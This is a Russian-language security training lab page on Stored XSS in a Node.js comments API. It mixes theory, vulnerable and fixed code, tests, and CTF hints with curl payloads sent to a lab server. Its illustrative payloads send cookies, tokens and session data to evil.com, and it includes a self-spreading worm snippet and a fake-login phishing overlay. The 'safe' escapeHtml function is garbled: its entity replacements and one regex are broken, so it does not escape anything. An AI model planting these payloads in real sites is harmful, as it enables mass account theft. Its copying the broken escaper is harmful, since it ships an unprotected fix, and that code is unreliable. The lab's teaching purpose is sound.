Rostelecom Security Labs

XSS-02: Stored XSS

API комментариев сохраняет данные без санитизации. XSS payload сохраняется в базе и выполняется у всех пользователей.

📚 Теория: Stored XSS (кликните чтобы развернуть)

1️⃣ Что такое Stored XSS?

Простыми словами для разработчика:
Вы сохраняете пользовательский ввод в базу данных без санитизации. При выводе этих данных JavaScript выполняется у ВСЕХ пользователей, кто видит эту страницу.

💡 Типичный сценарий:

У вас есть система комментариев, отзывов, чат, профили пользователей. Один злоумышленник оставляет комментарий с <script> — и ВСЕ посетители страницы выполняют его код.

Где встречается:

  • 💬 Системы комментариев (форумы, блоги, соцсети)
  • 👤 Профили пользователей (имя, био, статус)
  • 📝 CMS (редакторы контента, Markdown без санитизации)
  • 💼 B2B системы (CRM, тикеты поддержки)

OWASP: A03:2021 - Injection
Статистика: 60% веб-приложений уязвимы к Stored XSS (HackerOne 2023)

📊 Отличия: Reflected vs Stored XSS

Критерий Reflected XSS Stored XSS
Где payload В URL/параметрах Сохранён в БД
Кого атакует Только кликнувших по ссылке ВСЕХ посетителей
Persistence Одноразовое Постоянное (пока не удалят)
Социнженерия Нужна (заставить кликнуть) НЕ нужна
Severity Medium-High High-Critical

2️⃣ Как возникает уязвимость (CODE WALKTHROUGH)

💬
Шаг 1: Злоумышленник отправляет комментарий
POST /api/comments
{"author":"Hacker","text":"<script>steal()</script>"}

💡 Payload в поле text

⬇️
💾
Шаг 2: Сервер сохраняет БЕЗ санитизации
// ❌ ОШИБКА: сохраняем как есть
db.comments.insert({
  author: "Hacker",
  text: "<script>steal()</script>"  // Опасно!
})

❌ Не проверили, не очистили

⬇️
👥
Шаг 3: Жертвы открывают страницу
GET /comments/page
→ Сервер достаёт из БД
→ Вставляет в HTML БЕЗ экранирования

🎯 Каждый посетитель = жертва

⬇️
🔥
Шаг 4: Браузер выполняет код

💣 У ВСЕХ пользователей выполняется steal()

🍪 Массовая кража cookies, токенов, данных

❌ Уязвимый код (типичная ошибка разработчика)

// comments-api.js
app.post('/api/comments', (req, res) => {
  const { author, text } = req.body;
  
  // ❌ ОШИБКА #1: Нет валидации
  // ❌ ОШИБКА #2: Нет санитизации
  const comment = {
    author: author,        // Опасно
    text: text,           // ОЧЕНЬ опасно
    timestamp: Date.now()
  };
  
  comments.push(comment);  // Сохраняем как есть
  res.json({ success: true });
});

app.get('/comments/page', (req, res) => {
  const html = comments.map(c => 
    // ❌ ОШИБКА #3: Вставляем в HTML без экранирования
    \`<div>
      <strong>\${c.author}</strong>
      <p>\${c.text}</p>
     </div>\`
  ).join('');
  
  res.send(\`<html><body>\${html}</body></html>\`);
});

Что думает разработчик:
"Ну это же просто комментарии, что тут может быть опасного?"

Что происходит:

// В БД хранится:
{ text: "<script>fetch('evil.com?c='+document.cookie)</script>" }

// В HTML выводится:
<p><script>fetch('evil.com?c='+document.cookie)</script></p>
     ↑ Выполнится у КАЖДОГО посетителя!

3️⃣ Реальные последствия и кейсы

🔴 Кейс #1: MySpace Samy Worm (2005)

Что произошло: Samy Kamkar создал Stored XSS worm в своём профиле MySpace

Как работал:

// Упрощённая версия
<script>
// 1. Добавить Samy в друзья
addFriend('samy');

// 2. Скопировать этот же код в профиль жертвы
updateProfile(thisScript);

// 3. Распространиться дальше...
</script>

Результат: За 20 часов заразил 1 миллион профилей (самый быстрый вирус в истории интернета)

🔴 Кейс #2: TweetDeck XSS (2014)

Что произошло: XSS в твите заставлял пользователей ретвитнуть его автоматически

<script class="xss">
  $('.xss').parents().eq(1).find('.tweet-action')
    .click();  // Автоматический ретвит
</script>

Результат: Самораспространяющийся твит, 38,000+ ретвитов за час

💰

Финансовые потери

GDPR штрафы: до 4% годового оборота
Репутация: потеря клиентов
Судебные иски: компенсации пользователям

🔓

Компрометация аккаунтов

<script>
fetch('https://evil.com/steal', {
  method: 'POST',
  body: JSON.stringify({
    cookies: document.cookie,
    tokens: localStorage.getItem('token'),
    session: sessionStorage
  })
});
</script>
🪱

Самораспространение

<script>
// Копирует себя во все комментарии
document.querySelectorAll('form')
  .forEach(f => {
    f.text.value += thisScript;
    f.submit();
  });
</script>
🎣

Фишинг

<script>
document.body.innerHTML = `
  <div class="fake-login">
    Сессия истекла. Войдите снова:
    <form action="evil.com">...
  </div>
`;
</script>

4️⃣ Как правильно чинить

✅ Решение #1: Санитизация при сохранении

// npm install dompurify isomorphic-dompurify
const DOMPurify = require('isomorphic-dompurify');

app.post('/api/comments', (req, res) => {
  const { author, text } = req.body;
  
  // ✅ Очищаем HTML, оставляем только безопасные теги
  const cleanText = DOMPurify.sanitize(text, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
    ALLOWED_ATTR: ['href']
  });
  
  const comment = {
    author: escapeHtml(author),  // Полное экранирование
    text: cleanText,              // Санитизированный HTML
    timestamp: Date.now()
  };
  
  comments.push(comment);
  res.json({ success: true });
});

✅ Решение #2: Экранирование при выводе

app.get('/comments/page', (req, res) => {
  // ✅ Экранируем ВСЁ перед выводом
  const html = comments.map(c => \`
    <div class="comment">
      <strong>\${escapeHtml(c.author)}</strong>
      <p>\${escapeHtml(c.text)}</p>
    </div>
  \`).join('');
  
  res.send(\`<html><body>\${html}</body></html>\`);
});

function escapeHtml(text) {
  return text
    .replace(/&/g, '&')
    .replace(//g, '>')
    .replace(/"/g, '"')
    .replace(/'/g, ''');
}

✅ Решение #3: Content Security Policy

// middleware/security.js
app.use((req, res, next) => {
  res.setHeader('Content-Security-Policy', 
    "default-src 'self'; " +
    "script-src 'self'; " +
    "style-src 'self' 'unsafe-inline'; " +
    "img-src 'self' data: https:; " +
    "object-src 'none'"
  );
  next();
});

// ✅ Даже если XSS пройдёт, inline scripts не выполнятся!
1
Выбирайте: Санитизация ИЛИ Экранирование

Санитизация (DOMPurify): если нужен rich text (жирный, курсив, ссылки)
Экранирование (escapeHtml): если нужен только обычный текст
❌ НЕ делайте: санитизацию И экранирование — сломаете вывод

2
Используйте HttpOnly cookies
res.cookie('session', token, {
  httpOnly: true,  // ✅ JS не может прочитать
  secure: true,     // Только HTTPS
  sameSite: 'strict'
});
3
Валидируйте на бэкенде
// ❌ WRONG: только client-side
<input maxlength="100" required>

// ✅ RIGHT: backend validation
if (!text || text.length > 1000) {
  return res.status(400).json({error: 'invalid'});
}
4
Template engines с auto-escaping

EJS: <%= data %> автоматически экранирует
Pug: p= data автоматически экранирует
Handlebars: \{\{data\}\} автоматически экранирует

5️⃣ Как тестировать

Unit Tests

// tests/xss-protection.test.js
const DOMPurify = require('isomorphic-dompurify');

describe('Stored XSS Protection', () => {
  test('DOMPurify удаляет script теги', () => {
    const malicious = '<script>alert(1)</script>Hello';
    const clean = DOMPurify.sanitize(malicious);
    
    expect(clean).not.toContain('<script>');
    expect(clean).toBe('Hello');
  });
  
  test('Комментарии сохраняются sanitized', async () => {
    const res = await request(app)
      .post('/api/comments')
      .send({
        author: 'Test',
        text: '<script>evil()</script>'
      });
    
    expect(res.body.comment.text).not.toContain('script');
  });
});

SAST: Semgrep правило

rules:
  - id: node-stored-xss
    patterns:
      - pattern: |
          $DB.save({..., $FIELD: $INPUT, ...})
      - metavariable-pattern:
          metavariable: $INPUT
          pattern: req.body.$PARAM
    message: "Stored XSS: user input saved without sanitization"
    severity: ERROR

Manual Testing

# 1. Простой script
curl -X POST /api/comments -d '{"text":"<script>alert(1)</script>"}'

# 2. Event handlers  
curl -X POST /api/comments -d '{"text":"<img src=x onerror=alert(1)>"}'

# 3. SVG
curl -X POST /api/comments -d '{"text":"<svg/onload=alert(1)>"}'

# 4. Проверка persistence
curl /comments/page | grep "script"  # Не должно быть!

6️⃣ Best Practices

✅ DO (Делайте)

  • Санитизируйте при сохранении ИЛИ экранируйте при выводе
  • Используйте DOMPurify для rich text
  • Включите CSP заголовки
  • HttpOnly + Secure cookies
  • Валидация на бэкенде
  • Регулярные SAST/DAST сканы

❌ DON'T (Не делайте)

  • Не сохраняйте raw HTML без проверки
  • Не полагайтесь только на client-side валидацию
  • Не используйте innerHTML с user data
  • Не делайте blacklist фильтры (легко обойти)
  • Не храните JWT в localStorage
  • Не игнорируйте CSP ошибки

CI/CD Pipeline

# .github/workflows/security.yml
- name: SAST
  run: semgrep --config=p/owasp-top-10

- name: Dependency Audit
  run: npm audit --audit-level=moderate

- name: DAST  
  run: |
    docker run -t owasp/zap2docker-stable \
      zap-baseline.py -t $APP_URL

7️⃣ Практические задания

📝 Задание 1: Найди и эксплуатируй

  • ✅ Отправь комментарий с XSS через curl
  • ✅ Проверь что он сохранился в БД
  • ✅ Открой /api/xss/comments/page в браузере
  • ✅ Зафиксируй флаг из ответа страницы (он появится в формате FLAG{...} после выполнения payload)

🔍 Задание 2: Code Review

  • Найди 3 ошибки в уязвимом коде выше
  • Объясни почему каждая опасна
  • Предложи исправление для каждой

🛠️ Задание 3: Implement Fix

  • Установи DOMPurify: npm install isomorphic-dompurify
  • Добавь санитизацию в POST /api/comments
  • Проверь что XSS больше не работает
  • Напиши unit test для защиты

🔬 Задание 4: Security Testing

  • Напиши Semgrep правило для детекции
  • Добавь в CI pipeline
  • Создай manual testing чеклист
  • Протестируй 5 разных XSS payloads

🎯 Что вы изучили:

  • 👀 Видеть Stored XSS в code review
  • 🛒 Описания товаров в магазинах
  • 📝 Форматирование текста (Markdown, BB-code без санитизации)

Сценарий атаки:

1. Атакующий отправляет комментарий с XSS
   POST /api/comments
   {"text": "<script>steal_cookies()</script>"}

2. Сервер сохраняет в БД без санитизации

3. Жертва открывает страницу с комментариями
   GET /comments → возвращает HTML с XSS

4. Браузер жертвы выполняет скрипт
   → кража cookies, редирект, keylogger

Почему это ОЧЕНЬ опасно?

  • 🎯 Массовое поражение: атакует всех пользователей
  • ♾️ Persistence: работает до удаления из БД
  • 🔒 Обход защиты: не требует кликов по ссылкам
  • 👥 Worm: может самораспространяться (Samy worm на MySpace)

Защита:

// ✅ Вариант 1: Санитизация при сохранении
const DOMPurify = require('dompurify');
const clean = DOMPurify.sanitize(userInput);
db.save(clean);

// ✅ Вариант 2: Экранирование при выводе
const escaped = escapeHtml(db.load());
res.send(\`<p>\${escaped}</p>\`);

// ✅ Вариант 3: Content Security Policy
res.setHeader('Content-Security-Policy', "script-src 'self'");

Брифинг

API /api/xss/comments принимает JSON с комментариями и сохраняет их без санитизации. Страница /api/xss/comments/page отображает все комментарии. Твоя задача:

Подсказки (curl + браузер)

Шаг 1 — просмотр существующих комментариев (JSON)
curl https://rtlabs.su/api/xss/comments
Шаг 2 — добавить безопасный комментарий
curl -X POST https://rtlabs.su/api/xss/comments \
  -H "Content-Type: application/json" \
  -d '{"author":"Alice","text":"Обычный комментарий"}'
Шаг 3 — внедрить XSS payload
curl -X POST https://rtlabs.su/api/xss/comments \
  -H "Content-Type: application/json" \
  -d '{"author":"Hacker","text":"<script>alert(1)</script>"}'
Шаг 4 — проверить выполнение в браузере
# Откройте в браузере:
https://rtlabs.su/api/xss/comments/page

# Должен выполниться alert(1) из комментария!
Шаг 5 — альтернативные payloads
# IMG onerror
curl -X POST https://rtlabs.su/api/xss/comments \
  -H "Content-Type: application/json" \
  -d '{"author":"Test","text":"<img src=x onerror=alert(document.cookie)>"}'

# SVG onload
curl -X POST https://rtlabs.su/api/xss/comments \
  -H "Content-Type: application/json" \
  -d '{"author":"Test","text":"<svg/onload=alert(1)>"}'

🏆 Когда XSS выполнится, страница вернёт строку вида FLAG{...} — её и нужно сдать.

Проверка флага

После успешного выполнения Stored XSS (увидели alert при открытии /api/xss/comments/page) отправьте флаг.

Как починить

Уязвимый код

app.post('/api/xss/comments', (req, res) => {
  const { author, text } = req.body;
  
  // ❌ Сохраняем без санитизации
  const comment = { author, text };
  comments.push(comment);
  
  res.json({ message: 'комментарий добавлен' });
});

app.get('/api/xss/comments/page', (req, res) => {
  // ❌ Выводим без экранирования
  const html = comments.map(c => \`<p>\${c.text}</p>\`).join('');
  res.send(\`<html><body>\${html}</body></html>\`);
});

Безопасный код

const DOMPurify = require('isomorphic-dompurify');

app.post('/api/xss/comments', (req, res) => {
  const { author, text } = req.body;
  
  // ✅ Санитизация при сохранении
  const safe = DOMPurify.sanitize(text);
  const comment = { author: escapeHtml(author), text: safe };
  comments.push(comment);
  
  res.json({ message: 'комментарий добавлен' });
});

// Или экранирование при выводе
app.get('/api/xss/comments/page', (req, res) => {
  // ✅ Экранируем при выводе
  const html = comments.map(c => \`<p>\${escapeHtml(c.text)}</p>\`).join('');
  res.send(\`<html><body>\${html}</body></html>\`);
});